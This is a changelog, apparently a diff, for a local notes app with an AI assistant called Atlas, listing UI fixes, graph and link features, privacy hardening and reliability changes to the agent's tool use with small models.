+- Command palette: Ctrl+K now lists Open today's note, Go back, Go forward and Reload the app, the four shortcuts that had no row; `tests/test_consistency_contract.py` fails on a tab or a shortcut the palette lacks, a card in a card, a glass in a glass, a menu row that paints a fill at rest, and a second filled button in a modal or a settings pane (5 existing dialogs and 13 chip rules are held at their count).
+- LAN mode answers over IPv6 as well as IPv4 where the computer has both: one dual-stack socket, so a phone on an IPv6 network can reach it too; the addresses Settings and the privacy receipt list include global and unique-local IPv6 ones in brackets (never link-local, which no browser can open).
+- Notes, Questions: every question your notes ask in passing, newest first, as Open, Answered or Dropped with a count on each. An answered one quotes the later sentence that answered it and opens its note; Mark answered asks which note answers it and links the two; Drop and Reopen move it back and forth. Ask about these answers from the notes with open questions only, and the Dashboard's While you were away card names the oldest open question.
+- Dashboard, While you were away: reading your notes on its own now also finds two claims in different notes that disagree (the rent is 900 in one and 950 in a later one) and a question a later note answers. Each row quotes the other sentence, opens the other note, and a disagreement can be linked as one; a dismissed pair is never found again. With no model it finds only a changed number or a 'not', and a later sentence that holds most of what the question asks.
+- Search by meaning reads long notes paragraph by paragraph: a note of two or more paragraphs stores a vector per paragraph and scores on the better of its own and its best paragraph's, so a question about one paragraph of a long note finds it (seeded 1,000 notes: recall@5 0.01 to 0.42). Old long notes get paragraphs at the next launch; editing one paragraph re-embeds only that one.
+- Chat and Ask: a source mark's preview says whether the passage supports the sentence or only partly, with three short bars for why it was chosen (Words, Meaning, Links). The end of Grounded in says how many sentences came from your notes and opens the evidence: each sentence beside the passage it came from, and No note says this beside the rest.
+- Dashboard: Recent activity's "Undo what Atlas did" row goes once the undo has put everything back, instead of staying to say "Already undone"; a later change by Atlas brings it back (`GET /events` names the events a restore reversed).
+- Dashboard: the While you were away card grows to fit the review list you open instead of scrolling inside a 320px box, so every finding and its Dismiss button can be reached; it still pages five at a time.
+- Mind maps on a phone: a selected topic's add and link buttons hang below the topic instead of over the left of its label, so pressing the start of a topic's text selects it rather than adding a child.
+- Privacy receipt: the ledger is written within a second of a connection instead of only when the receipt is opened and when the app quits, so an app that is killed or crashes no longer loses what it had seen (`tests/test_egress_ledger_writes.py` kills a process mid-run).
+- Background work survives a quit or a crash: the readings and filings an upload starts (text from images, captions, vision reads, document reads, filing) are kept in the notebook while they wait, and the next launch finishes what was left, three tries at most. A queued reading can be stopped from the activity panel. New `GET /jobs`, the server-sent `GET /jobs/stream`, and `POST /jobs/{id}/cancel` (WORLD_CLASS_PLAN B2, `tests/test_jobstore.py`).
+- Phone: a tap on a note in Select mode now only ticks it. It ticked the note and also opened its page over the list, so the next note could not be reached until Back was pressed. `tests/test_phone_select_mode_tap.py`, `scratchpad/ui-sweeps/deepflows.js` (the select flow).
+- Notes and documents: the `[[` picker offers the note you are naming first. It listed every note holding the words anywhere, newest first, cut to six, so with newer notes linking to "Alpha project" the picker's first row (the one Enter takes) was one of those and Alpha project itself was sixth or missing. Notes whose first line starts with the words come first, then ones whose first line holds them, then ones that only mention them. `tests/test_wiki_picker_ranking.py`.
+- Settings, Models: the "Advanced response settings" heading no longer drops its "?" onto a second line at phone width (the head stood 71px tall in a 44px row, so the chevron and the "?" sat on different lines from the words); the heading wraps in place instead. `scratchpad/ui-sweeps/deepflows.js` (fold headings, 0 of 21 sections spill at 390).
+- Settings, Profile and General: a switch pressed and then left for another section within a second is no longer put back. Those sections save 700 ms after the last change, and opening one reloaded the old values over the form before that save ran, which then saved the old values. `tests/test_prefs_pending_save_survives_pane_switch.py`.
+- Settings, Tools it can use: all 58 tools can now be switched off (the list held at most 50, so the 51st switch was refused and left looking off), and a refused save puts the switch back and says why instead of failing silently. `tests/test_agent_tools_api.py`, `tests/test_tool_switch_save.py`.
+- Settings: pressing a setting's words now toggles its switch. On every row with a long hint the words opened the help instead (the "?" came first in the row, and a label activates its first control), so only the small switch itself worked. `tests/test_setting_label_toggles.py`.
+- Dashboard: Recently added, the random-note widget and the unfinished-checklists list no longer print a note's `---` properties block as its words (`---` and the fields were the first thing shown for a note with properties). `tests/test_properties_never_in_previews.py`, `scratchpad/ui-sweeps/deepflows.js`.
+- Notes and documents: `[[Target|Shown]]` draws the shown words (it drew `Target|Shown`), opens the note or document named before the bar (it looked for one starting with the whole text and offered to create it), and a document's live view hides the target and bar like the brackets. Board references (`board:12|Title`) are unchanged. `tests/test_wiki_alias_frontend.py`.
+- Phone: Edit on an open note now opens the edit form. The note page (a full-screen sheet) stayed over the form, which was drawn in the list behind it, so Edit seemed to do nothing until Back was pressed; starting an edit now puts the page away first. `tests/test_phone_note_page_edit.py`.
+- Notes: in a note's edit form, Home, End and the up and down arrows now work in the title, tags and body fields. The notes list took those keys for moving between rows even from inside a field, so the caret never moved and the focus jumped to another note, and what was typed next was lost. `tests/test_entry_list_keys_in_fields.py`.
+- Mind maps: the topic strip no longer opens over the handle that bends the line into the selected topic (it did for 4 of 48 topics at 1440, on a radial map's inner rings and a tree's last branch); it slides clear to one side or opens under the topic instead, 0 of 192 at 1440, 1024, 820 and 390 (MINDMAP_PLAN 13b; `scratchpad/ui-sweeps/mapstripcover.js`).
+- Library, Boards and maps: each row of the New menu now says what it makes under its name ("An empty canvas you arrange by hand", "Topics branching from one central idea"), so the two kinds are told apart on a touch screen too, where a tooltip never shows (MINDMAP_PLAN INBOX 24; `.dock-menu-item-hint`, `scratchpad/ui-sweeps/boardsnew.js`).
+- Mind maps: View, How this map looks (was "How this map draws topics") now leads with the whole map's own two: Branch colours (Classic, Deep, Soft, Vivid) and Font (Serif, Monospace, Wide sans). The canvas and the Library thumbnail draw from one palette list on the server (`MAP_BRANCH_PALETTES`, sent with `/tree`), so they always agree, and the image export writes the map's font. On a map whose look sets a topic's box, bar, size, alignment or line, that topic's picker also offers the app's own default ("Rounded", "M"), which the topic then keeps against the map (MINDMAP_PLAN 13e, decisions 8 and 9; `tests/test_map_theme_palette.py`, `scratchpad/ui-sweeps/mappalette.js`).
+- Documents: with `type: Meeting` in a document's properties, the panel shows the Meeting type's fields the document has not written yet as empty rows, each with the control its kind needs (text, number, date, list, yes/no, another note); a row left empty adds nothing to the file, and a value goes in as one new line above the closing fence, leaving the other lines as they were. It read no note types before. `docFrontmatterTypeFields`, `tests/test_doc_type_fields.py`, `scratchpad/ui-sweeps/doctypeprops.js` (11/11 at 1440 and 390).
+- Phone: a toast fired while a bottom sheet is open is drawn over it. A sheet opened from a menu or another high layer is drawn one layer above that opener (up to 2601), and the toast box was at 1050, so the confirmation of what the sheet had just done sat behind it; below 600px the box is now at 2700. Measured at 390x844 with `elementFromPoint` at the toast's centre: covered at openers of 1050 and above (4 of 8 layers tried), answered in all 8 now (`scratchpad/ui-sweeps/toastsheet.js`, `tests/test_toast_over_sheets.py`).
+- Agent: the link tool now takes a kind of link (`link_type`) and accepts the built-in kinds and your own relation types, by key or by name; its description lists what exists in this notebook, capped at 420 characters with a count of the rest, and an unknown kind is refused with the list. It took no kind before, though two prompts told the model to link with 'contradicts'. `tests/test_agent_link_types.py`.
+- Notes: a note's `---` properties block no longer shows as its words in search snippets (and a result's title is the line after it, not `---`), the Library's note, bin, file and document card previews, a reminder's note line, a contradiction's excerpt, Ask cards, the agent's graph and whiteboard previews, the extractor's link previews, a remove-title and a generate-title (both left the block alone only by accident: the heading now goes after it), and five clips in the page (categories split list, graph remind, lightbox remind, similar-note row, the palette's note rows). `tests/test_properties_never_in_previews.py`.
+- Lint: `tests/test_select_focus.py` fails a `.focus()` or key listener on a page `<select>` (enhanceSelect moves both to its opener); 0 offences today (DOCUMENTS_PLAN's 2026-09-09 batch).
+- Documents on a phone: the status line (words, goal, suggestions) was drawn behind the formatting bar at the foot and never seen, and the editor stopped 72px above the bar with a blank band between; the page now ends where the bar begins (status line visible, writing down to it). The floating selection bar no longer repeats the foot bar's Bold, Italic, Heading and Link, so it fits a 390px window with Ask and Rewrite on screen (it ran 117px off the edge); on any other narrow surface it wraps rather than runs off. `docphonebar.js` (DOCUMENTS_PLAN 17 and 18's phone half, HISTORY "the documents phone pass").
+- Documents: a task's checkbox is drawn at the text's size (it was a 28px square on a desktop and 44px on a phone, growing its line and overlapping the next task's), with its press area kept at the app's target size beside it; Read's (disabled) task boxes too. `doctaskbox.js`.
+- Grammar check: a wiki link (`[[Another doc]]`) is no longer read as prose ("Use another on its own", offering "aNother"); a lint touching a link or an embed is dropped (`tests/test_prose_tools.py`).
+- Whiteboard and graph: zooming with Ctrl and a mouse wheel moved one notch to about 1.4x instead of 5x (two notches used to take a map from its normal size to the 4x ceiling); a trackpad pinch and the graph's plain wheel zoom are unchanged (`zoomWheelDelta`, `tests/test_zoom_wheel_delta.py`, `ctrlwheelzoom.js`).
+- Whiteboard: pictures on a board now appear in its exports. A PNG, a PDF and the copy added to your image library used to show an empty space where each picture was, and a saved .svg pointed at an address that only works inside the app; the pictures are now written into the file (`wbexportimage.js` sweep, `tests/test_wb_export_inline_images.py`).
+- Notes: while Atlas writes into the draft on the Write with AI page, the draft box can no longer be typed into (the lock only reached the hidden textbox behind the editor, so you could edit text that was about to be overwritten; `tests/test_note_surface_readonly.py`).
+- Notes: the formatting strip in a note's edit form listed each highlight and text colour twice (the copy of the capture strip kept its options and had them added again); each is listed once.
+- Chat: scrolling up inside a code block, table or thinking fold in an answer no longer stops the chat following the writing; only a wheel the chat pane itself would scroll lets go (`nestedTakesWheelUp`, `tests/test_chat_scroll_534.py`).
+- Timeline: the Auto bucket now picks the finest of day, week and month whose headers stay few (120 at most) and filled (a median of two items a header and under 60% of its calendar empty, once there is more than a screen of them), counted per scale instead of from active days: 3 months of a 2,077-note notebook reads by day (was week, 166 notes under one header), a sparse range reads by week (was day, 83% empty), two years of steady writing by week; no width scrolls sideways, worst first screen 51% empty, first paint is scale-independent (about 260ms on 2k notes in the sandbox). `timelineAutoScale`, `tests/test_timeline_auto_scale.py`, Guide text updated (TIMELINE_PLAN, HISTORY "the auto scale").
+- Speed: two text patterns could stall on a long run of spaces (20,000 spaces took 5 to 7 seconds): the one that splits a model's follow-up suggestions and the one that spots a table's divider line when exporting a document to Word. Both are linear now (under 0.02 s) and split and match exactly as before.
+- Duplicates: the scan is much faster and reads more of a large notebook. 60 notes went from about 196 ms to 8 to 15 ms; the scan used to give up after 500 notes (more than 25 s at that size) and now reads 5,000, so a notebook past 500 notes has its newer notes checked too (2,000 notes: about 0.7 s). Same groups and scores as before.
+- Connections: in Mentioned, not linked, the Link button is greyed out (with the reason on hover) for a note whose opening line has a square bracket in it, such as "Plan [v2]". It used to say "Linked", rewrite the sentence and store no link, because a [[link]] cannot hold a bracket. Names with # or | ("C# basics") link as before.
+- Privacy: what you search for no longer appears in the log. The access log, Settings log viewer and support bundle used to carry `GET /search?q=your words` in full; now the value of any query parameter that is not paging or a switch shows as `[redacted]` (the route and parameter names stay).
+- Privacy: "Tag and file with Atlas" on a private note is refused (it used to send the note's text to the model, or ciphertext while locked, and to the search index); Atlas does not read private notes.
+- Atlas: a tool argument typed as a number now refuses "nan" and "inf" (and any value too large to be a finite number) instead of passing them to the tool.
+- Atlas: a model reply made of thousands of nested brackets no longer escapes the background passes that read model JSON (note splitting, filing, remembered facts, reminder parsing); the pass fails quietly like any unreadable reply.
+- Privacy: opening a name (person, place, project) that only private notes ever mentioned now says it could not be found, as the list of names already did, instead of showing its name and aliases with no notes.
+- Privacy: the properties on a link that touches a private note (the short values you add to a link) are now encrypted like its reason: readable while unlocked, absent while locked, sealed when a linked note goes private, restored when it goes public again, and moved onto the new key when the encryption key is rotated. They were stored in plain text before.
+- Privacy: the reason on a link that touches a private note is now encrypted like the note and kept out of the activity log's text (you still read it while unlocked; it was stored in plain text before). Making a note private seals the reasons on its links, making it public again restores them, and rotating the encryption key now also moves a private note's history and link reasons onto the new key (they would have stopped opening). Tags stay visible on a private note by design.
+- Agent: after pinning or editing a note, a new note that copies it (or that carries the app's own quoting marks from the prompt) is refused rather than made, which a 3B model did twice in ten everyday requests; and a model under 8B is offered the tool that saves a preference only when the request is about you ("remember", "from now on", "call me"), since "Note down ..." and "Save this ..." were saved as preferences (AGENT_SKILLS_REFORM H4, INBOX 527).
+- Agent: "Show me" a picture that a note already found holds is no longer offered the board and map tools at all (a 3B model put the note on a whiteboard instead of showing the picture); asking to add or place it on a board still offers them. A note made with tags no longer gets "Heads up: I said I tagged a note" when the answer says it was tagged (AGENT_SKILLS_REFORM H4, INBOX 527).
+- Atlas, feminine look: the astral wisps show on a light page (drawn in the nebula's deeper violet there; median contrast against what is behind them 1.13 before, 1.33 now, the brightest tenth 1.40 before and 3.28 now, as the dark theme's 3.24), the waist and tail wisps now turn with the tail in every pose (lying down they floated beside the body), and the body's edge glow carries on down the tail instead of ending at the hips. The masculine look is pixel-identical.
+- Agent: what a turn asks of a model now comes from one table of three sizes, read from the model's name (under 3B, 3B to 8B, 8B and up; a name with no size is treated as large), in place of one under-8B switch. A model under 8B that writes on and on in a step where it could call a tool is cut short (about 600 tokens under 3B, twice that up to 8B) with a line saying so, where a 1.5B model once wrote for 948 s to the 2,048-token cap; note ids and match scores copied from the prompt ("(note id 3)", "similarity 0.54") come off the answer; and a picture question whose picture is in a note already found ("Show me the whiteboard sketch from the planning meeting") is no longer offered the board reading tools first, which a 1.5B model used instead of showing the picture (AGENT_SKILLS_REFORM H3, INBOX 527).
+- Agent: an answer is checked against what the turn read before it is final; a number (a count, a time, a date, an amount) or a name in it that no tool result, note or your own words contain gets a heads-up under the answer naming it, the way a claimed act that never ran already did. No second model round: on a twenty-answer set (twelve true), all twenty are called right and none of the true ones is flagged (AGENT_SKILLS_REFORM H2, INBOX 527).
+- Agent: a turn that takes more than one step now draws its own checklist above the answer, one row per round naming what it searched or read, ticked as each ends, then the answer; it is saved with the chat and shown again when the chat is reopened (it used to appear only for Plan first and skills, and a small model is never offered a plan). A skill run's checklist, which reopening a chat had been dropping, now comes back too (AGENT_SKILLS_REFORM H1, INBOX 527).
+- Atlas, feminine look: the Galaxy Seed Sower's body (INBOX 535, the owner: "I want the female bottom half and main body the feminine atlas to be more like this"). An hourglass torso (a small chest curve, a clear waist 0.73 of the chest and 0.55 of the hips, rounded hips) whose hips flow into one long, wide spectral tail sweeping out to one side and curling up to a soft point, as wide as the hips where it leaves them (over 80% of the hips where the torso fades into it, by the shape test), its inner side shaded the nebula's violet with galaxy sparkles; the comet tail is the second, thinner ribbon tail, now from the other hip. No gown, no ribbon tails, no waist band; fills only, nothing along either tail under 2px. The masculine look is pixel-identical.
+- Chat: Atlas only shows a picture when your question is about one; it no longer adds pictures to unrelated answers.
+- Graph: a Filter fold in the gear holds a chip per kind of link on the map (No kind, Supports, your own, each with its count): press one to take those links off the map and again to bring them back, kept between visits; and a chip per property value its notes carry (status: open, type: Meeting), which lights those notes (GRAPH_PLAN KG8, INBOX 528).
+- Notes filter: live queries over the notebook's structure. `type:meeting`, `prop:status=open` (also `!=`, and `> >= < <=` on numbers and dates, or `prop:status` for any value), `links:[[Kiln plan]]`, `rel:supports` (a kind's key or either of its names), `entity:"Sam Lee"` (or an alias), with `-` before any to leave those out, mixed freely with the filter's words and `tag:`. A bar over the list says how many match and shows the same notes as a Table (their properties as columns) or lit on the graph; a saved filter keeps the query. `GET /entries/query` (`entry/query.py`) (GRAPH_PLAN KG7, INBOX 528).
+- Notes: properties and note types. A note can carry properties at the top of its own text (`status: open`, between two `---` lines, as Obsidian writes them); the card shows them as a small table under the title and is still named by its heading. A note's ⋯ has Properties (add, change, remove, or pick a type; Save rewrites only those lines); Note types in the command palette makes a kind of note with fields (text, number, date, list, yes/no, another note) and a New note that starts with them. A vault's own frontmatter now imports as properties (category and tags still become the note's own), and a Markdown export writes one block. Properties are indexed for queries (`entry_properties`, never a private note's). `GET|PUT /entries/{id}/properties`, `/note-types`, migration d9b2e6f4a1c7 (GRAPH_PLAN KG4, INBOX 528).
+- Links: a link can say what kind it is, and each kind has a name from the other end: Supports reads Supported by from the note it points at, and you can add your own (Part of / Has part, Cites / Cited by). A link's ⋯ has Kind and properties (pick a kind, make a new one, or give the link properties such as count: 4); its chip and the Connections rows name the kind from that note's end; Kinds of link in the command palette renames or deletes your own (their links stay, with no kind). Kinds and properties are in the database, so a backup keeps them, and the JSON export now carries each link's kind, reason and properties. `/relation-types`, `PATCH /entries/{id}/links/{link_id}` takes `props`, migration c3f7a9e2d5b8 (GRAPH_PLAN KG3, INBOX 528).
+- Graph, Topic colour: a topic's legend entry opens its card (its name, how many notes, what they share) with Summarise, which asks your local model for one sentence about those notes, kept until one of them changes; Stop abandons the ask, and with no model the card says what the notes share instead. No note's name is placed over a topic's name plate any more. `POST /graph/topics/summary` (GRAPH_PLAN KG6, INBOX 528).
+- People and things: every person, place, project, organisation or thing Atlas finds in your notes now has a kind and a page: click one on the graph, or open People and things from the command palette. The page shows each note that names it with the sentence (the name marked), what it is named with, and the dates its notes mention; its ⋯ sets the kind, renames it, edits its other names and merges it into another, every mention following. On the graph, two named together in two notes or more are joined by a dotted line. Extraction asks the model for a kind and lands an old or other name on the entity it now belongs to. `GET /entities`, `GET|PATCH /entities/{id}`, `POST /entities/{id}/merge` (GRAPH_PLAN KG5, INBOX 528).
+- Suggestions: one sheet holds everything the notebook proposes and you decide, as four kinds with their counts: Links (the pairs Find links to add offered, with every reason), Tensions (the disagreement review, still started by hand), Names (one person or thing named two ways, "Sam" and "Sam Lee" or a near spelling; Merge moves every mention and keeps the other name as an alias, so extraction never makes it twice) and Link types (a link whose own sentence or reason says "for example", "continues", "evidence", "contradicts" or "background", with the words marked). It opens from Find links to add, the Graph's Suggest links, the Tensions widget and the command palette; it replaces the panel under the graph's toolbar and the Tensions dialog. Every accept and dismissal is a correction: a dismissed one never returns, and each kind of reason is trusted more or less from then on. A link accepted from its reasons keeps their confidence. `GET /suggestions`, `PATCH /entries/{id}/links/{link_id}` (a link's type), entities gain kind, aliases and merged_into (migration b8e4f2a6c9d1) (GRAPH_PLAN KG9, INBOX 528).
+- Chat: pictures appear in an answer only when they answer or illustrate the point, or when you ask for one.
+- Chat: the Attach panel draws over the chat's header instead of under it.
+- Sub-tab bars stay readable over a scrolled page; Quick access rows no longer keep an empty strip for their hidden move buttons.
+- Graph, Trace: each step of a route says how many other reasons its two notes relate ("linked to +2") and names them on hover: people or things both mention, a note both link with, a rare tag both carry; a step with a private note names none. `steps[].also` on `GET /graph/path` (GRAPH_PLAN KG8, INBOX 528).
+- Graph: a Topic colour rule finds the subjects inside each cluster (two subjects joined by one link are one cluster and two topics), draws each topic's outline with its name on a plate above it, and names it by the tag, person or title word its notes share more than the rest of the notebook; the legend lists the topics with those terms, and a click finds their notes. `GET /graph/structure?topics=1`, `entry/topics.py`, 10,000 notes in 170 ms (GRAPH_PLAN KG6, INBOX 528).
+- Links: Find links to add learns from you: linking a suggested pair or dismissing one records which reasons it was offered for, and each kind of reason (similar wording, people both name, a note both link with, a rare tag, the same sitting) is then trusted more or less in this notebook, between half and one and a half times, fading over a month like the app's other lessons (GRAPH_PLAN KG9, part one).
+- Links: Find links to add now finds pairs by structure as well as wording: people or things both notes name, a note both link with, a rare tag both carry, and written in the same sitting (support only); each reason shows under the pair with its own confidence and the chip is the combined one; it works with semantic search off; linking a pair found by structure keeps its reasons as the link's reason. `ai/relations.py`, 2k notes in 162 ms and 10k in 802 ms in the sandbox (GRAPH_PLAN KG2, INBOX 528).
+- Notes: a note's Connections (the column beside the list and the sheet) show the sentence each linking note says it in, and a new Mentioned, not linked group lists the notes and documents that name it without a link, each with its sentence and a Link button that turns those words into a [[link]] in one click (the server checks the words are still there first). `GET /entries/{id}/backlinks`, `POST /entries/{id}/mentions/link` (GRAPH_PLAN KG1, INBOX 528).
+- Glass: one clear (blur-only) recipe, the `--glass-filter-clear` token; seven panels that wrote the blur out take it (nothing changes on screen), and a lint now fails any new backdrop-filter that is neither it nor `--glass-filter` (UI Phase 10, item 102).
+- Top bar: the tab strip's layout (centred on the window, centred in the gap, or on its own row) is now decided from the current widths alone; it used to remember its previous mode with 8px of hysteresis, so the same width drew a different layout depending on which way the window had been resized (1500 wrapped where 1440 centred). Measured 1024 to 2560 and back: no width draws two modes and a strip that fits is never wrapped.
+- Agent, small model on an OpenAI-compatible server (llama.cpp, LM Studio): an instruction to change the notebook ("Make a note: ...", "Remind me ...", "Pin my ...") asks the server for a tool call on its first round, since a 1.5B model otherwise answered most of them in prose; questions are never forced, and a server that does not know the option is asked again without it (INBOX 527).
+- Agent: "Add bring a rain jacket to my Snowdon trip note" (and "put ... in my ... note", "append ...") is offered the note editor; it cued nothing, so a small model rewrote the note in its answer and saved nothing (INBOX 527).
+- Agent: a reply that says it did something no tool did ("I've made a new note for you") is now asked, once, to actually do it, naming the tool, and the heads-up that it did not happen is kept for when the retry fails too, checked against everything said in the turn (INBOX 527).
+- Agent: when no note matches the words of a question, the prompt no longer says the notebook looks empty; it says nothing matched and that count_notes and search_notes know more (Qwen2.5-1.5B, with four notes saved, answered "How many notes do I have?" with "There are no notes in your notebook") (INBOX 527).
+- Agent: tool calls the model asks for in the same reply no longer wait on each other: two web searches in one reply both run (the second was parked behind a confirm, as if the first page had asked for it; a call chosen after reading a page still asks first), and several pages asked for together are fetched side by side, so three pages take about as long as one (INBOX 527).
+- Agent: a tool result too big for what is left of the conversation is shortened to fit (long text clipped, then the list kept from the front, with a note saying what was cut) instead of being dropped whole with the tools taken away; on a 4k-window model one page of long notes used to end the turn's reading with nothing read (INBOX 527).
+- Agent: a turn that runs out of tool rounds now ends with an answer from what it found (one more round with the tools withdrawn), then the stop and Continue as before, where it used to end on "I stopped after 4 rounds" alone; a skill step still stops plainly so the run marks it stalled. With an OpenAI-compatible server (LM Studio, llama.cpp) the agent retries once when the server answers 5xx, as while a model loads, instead of ending the turn, and a round with no tools no longer sends an empty tool list that strict servers refuse (INBOX 527).
+- Agent reminders: set_reminder takes the time in your own words ("two hours before midnight", "tomorrow at 3", "Friday night", "in 20 minutes") and the app works out the date on your clock with no model involved, which is where a model once set "two hours before midnight" for the wrong night; a date-time without an offset is your local time (one was stored as UTC, so 9:00 fired at 19:00 at UTC+10); a time already past is refused with the reason; the prompt no longer teaches the model date arithmetic (INBOX 527; AGENT_SKILLS_REFORM, decided 2026-09-21).
+- Agent, with a small model (under 8B): the tools the request names are offered beside the fixed core, so "Pin my dentist note" can pin (on Qwen2.5-1.5B it was offered no pin tool and wrote a duplicate note instead); a long reply that says "I will call the tool to save the note" and calls nothing is asked once to do it; "has been created and pinned" on a turn that only created is caught as a claim the way "I pinned it" is; and the agent prompt now says which notes have pictures, so an answer with tools on can place [picture 2] as Chat and Ask already could (INBOX 527).
+- Agent: a tool call a small model writes slightly wrong now runs: JSON with a trailing comma, single quotes, Python's True, a code fence or a cut-off end is read as meant (0 of 5 slips were read before, 5 of 5 now); arguments are checked against the tool's schema before it runs, so a spelling like `id` or `noteId` reaches `note_id`, "12" is read as 12, "false" as false (pin_note read it as true) and one tag as a list; a missing argument is named with its type and an example call (11 of 31 tools named it before, 30 of 31 now, the other being web search switched off); JSON that cannot be read at all is said to be unreadable rather than run as empty (INBOX 527).
+- Chat and Ask: the model can place a picture inside its answer: it writes [picture 2] (or [picture 2.2] for the second) for a note that has pictures and the bubble draws it as a figure, at most 320px tall, in the picture's real shape, with its caption on one line, "From note 2: title" opening the note and a click opening the image viewer; an unknown note or number draws nothing and a half-written token never shows while the answer streams; with no token, a cited note whose pictures are the point (the question names a picture, or the note is mostly pictures) gets one figure after its first citation; three at most, and a reopened chat draws the same (INBOX 526; `picture_sizes` saved beside `picture_alts`).
+- Toasts: an error toast's Report this keeps its width (it was squeezed to 44px and its words ran out of the box at 390); on a window under 820px the message takes its own line with the buttons under it at the right, both 44px tall under touch.
+- Dashboard, Quick access: Add or arrange opens one list of every command with the ones on your dashboard checked and first, so what is added is visible; check or uncheck several, drag rows or press Alt+Up and Alt+Down (or the two small buttons) to order them, search to narrow the list, and Done saves everything at once (Cancel and Escape keep what was there); at eight, a ninth is refused with a warning line in the dialog, not an error toast (INBOX 524).
+- Sub-tabs: the Notes (Your notes, Capture, Write with Atlas, Ask), Library and document sidebar strips are one second-level recipe: words on the page with a 2px accent line under the chosen tab, no box or pill, one height (36px, 44 on touch), one 4px gap, one padding, and no icons on any of them; the top bar keeps its pills (INBOX 522).
+- Top bar: the tab well hugs its tabs in the layout that centres it between the two groups (at 1150 it was 630px round 503px of tabs, and the same stretched box showed on every boot until the first measure), centred by auto margins (INBOX 522).
+- Graph: Arrows (off by default) are sparks: a comet-tailed four-point star 70% along each link in its colour, on a soft glow with a white core, the line wider on its source half; pointing at a note sends a spark drifting along its links unless motion is reduced. 417-note map, three runs: +0.2 ms a frame at the fit, 0.0 at 2x (the glow and core drop out while more than 300 sparks are in view).
+- Links: a link a [[name]] made is remembered as one, so deleting the name deletes the link (others are never touched); renaming a note offers, in a toast, to rename the [[links]] other notes write to it. The graph reads each note's text once per edit (18.8 to 3.8 ms at 2,018 notes), sees a link swapped for another, and similarity keeps each note's four closest matches (2,000 notes: 10.7 s to 0.6 s; 10,000: 4.99 s and 144 MB, where every pair was 10.5M tuples).
+- Graph (514, parity with Obsidian's graph): Show adds Tags, Attachments and Unwritten links (a faint node per unanswered wiki name; a click writes that note); Display adds Arrows, Text fade and Link thickness; Physics adds Link force and takes Length by similarity and Group by category; focus mode gets a Focus section and the local map an Options fold, each with Depth 1 to 5 and Incoming, Outgoing and Neighbour links.
+- Graph: a Display fold in the gear panel holds Labels, Label backgrounds (new: off draws each name on a thin outline instead of a plate, still placed clear of lines), Curved links and Cluster glow; those switches now come back as they were left after a reload.
+- Notifications: no empty strip on the right of each row; the read circle and remove cross replace the time while a row is pointed at.
+- Settings, Help: hotkeys are drawn as keys, places such as Settings, Models and Library tab, Contents in bold, and control names and quoted phrases as small code chips (190, 139 and 47 across 96 topics), added when the page draws so the Guide's own text stays plain (INBOX 520).
+- Settings, Help: a search box at the top keeps only the topics that hold every word you type (title, keywords, text or place), opens them with the words marked, hides empty groups, says "Nothing in Help matches" when none do, and Esc clears it (INBOX 520).
+- Companion: perches on every Library sub-tab's dock or cards and hangs from an open board's or map's toolbar, never on an unpainted edge in mid-air; looks again on a sub-tab switch, a resize or content moving under it (INBOX 521, `scratchpad/ui-sweeps/perchall.js`).
+- Startup: the dashboard waits for its own script, so "renderDashboard is not defined" no longer appears on the lock screen.
+- Graph: a line between two notes lights under the pointer and a click on it opens a small card where you clicked: what it is (a link, a thread, a similarity, a map's line), its reason and how sure, the two notes (each opens), and for a link Edit reason and Remove (the owner: "I cant click on links to see their reason in the graph??"; 20 of 20 sampled line middles answer).
+- Top bar: the active tab's fill slides to the tab you choose (200ms, transform only) in every engine, by click, keyboard or a jump from elsewhere, and sits on it through a resize; none under reduced motion, and the phone's bottom tabs keep their colour mark.
+- Ask: the Matching records cards speak in the Notes list's voice: the text sits at the list's inset, the category is muted, the match reason is one quiet fact after the date instead of a green pill on its own row, links are the list's outlined muted pill on the text edge and one line, and the citation number is the same edged box on a plain card and on the cited one (INBOX 510).
+- Graph: names stand on a plate in the card's colour instead of a white outline over the lines, go to the first of eight places that crosses no line (label-line crossings 43 to 28 on a 60-note map), and the automatic category palette is calmer (78% saturation, same lightness); a chosen colour is unchanged (INBOX 493).
+- Graph: hovering a note fades the map instead of flipping it: the dimming of every other dot and link, the names that leave and arrive, the hovered note's ring and its similarity scores each ease over 180ms (measured, scratchpad/ui-sweeps/graphfade.js: largest single-frame step 1.0 with no frame between, now 0.15 to 0.2 over 7 to 8 frames); reduced motion stays instant.
+- Links: [[Name]] links to a note that opens with a "# Name" heading, and a link written before its note exists connects as soon as that note is saved.
+- Library: pressing the Library tab inside an open board or mind map goes back to the Library.
+- Models status: the poll no longer waits on a busy model runner; with an answer already known it waits at most 2.5s for the runner's model list, then serves the last one while the refresh finishes (a runner answering in 9s held the poll for 5s, now 2.5s), and a timed-out poll, shown as "slow", is no longer logged as a warning.
+- Logs: a surface read refused because the app is locked is no longer logged as `[notes] could not load: Locked` at every boot; real failures still are.
+- Companion: the enlarged view draws no bar behind a hanging companion's head (a stray grey line at a fixed height); the seat bar under a sitting one stays.
+- Atlas: the feminine look's waist band is gone; the body fades into the gown.
+- Chat and Ask: an answer grounded in a note with pictures or sketches shows up to three of them beside that note's numbered chip under Grounded in (INBOX 502); the chip opens the note, a picture opens in the image viewer, alt text is the picture's caption or the text read off it (`picture_alts`, sent with the results and saved with the turn). The model is told which notes have pictures, so it can point at one as the picture in note 2.
+- Chat and Ask: a question sent from a suggested follow-up shows a Follow-up of line above it, each earlier question in the chain as a link (INBOX 490). In Chat a link scrolls to that question and lights it, and the line is saved with the turn (`followup_of`) so a reopened chat keeps it; in Ask a link opens that earlier answer under the line. A typed question starts a new chain.
+- Manage tags and Manage categories do more (INBOX 504): sort by name, notes or most recently used (remembered); Used once (tags) and Empty (categories) narrow to the hardly used; names that look like one (case, spaces, hyphens, a plural) are offered as one Merge with Undo; the count after a name opens its notes; several categories take one colour, or are deleted with one question, each with one Undo. The panels are 40rem wide so the tool row and the footer fit on one line.
+- Library, Contents is redesigned as an outline (INBOX 496): one tool row (the filter and a Group by list, remembered between visits, with Expand all and Collapse all in the ⋯), groups that fold with a colour dot or glyph, the name and a quiet count, and one column of rows, each the note's picture or the kind's glyph with the title over one line of facts. The four grouping buttons, the sideways strip of jump chips and the three-column rows are gone; its styles are one block instead of four files.
+- Library, Boards and maps loads faster (INBOX 496): a preview's labels are measured on a canvas instead of forcing a page layout per label (65 layouts to 7 on a first visit to 34 boards, style and layout about 300ms to about 100ms), each visit asks for the board list once instead of twice, a second visit draws what it had at once, and the search, sort, kind chips and view switch redraw without asking the server.
+- Dashboard: a widget whose data never arrives offers Retry instead of saying "Loading…" for good; the constellation waits for its drawing library.
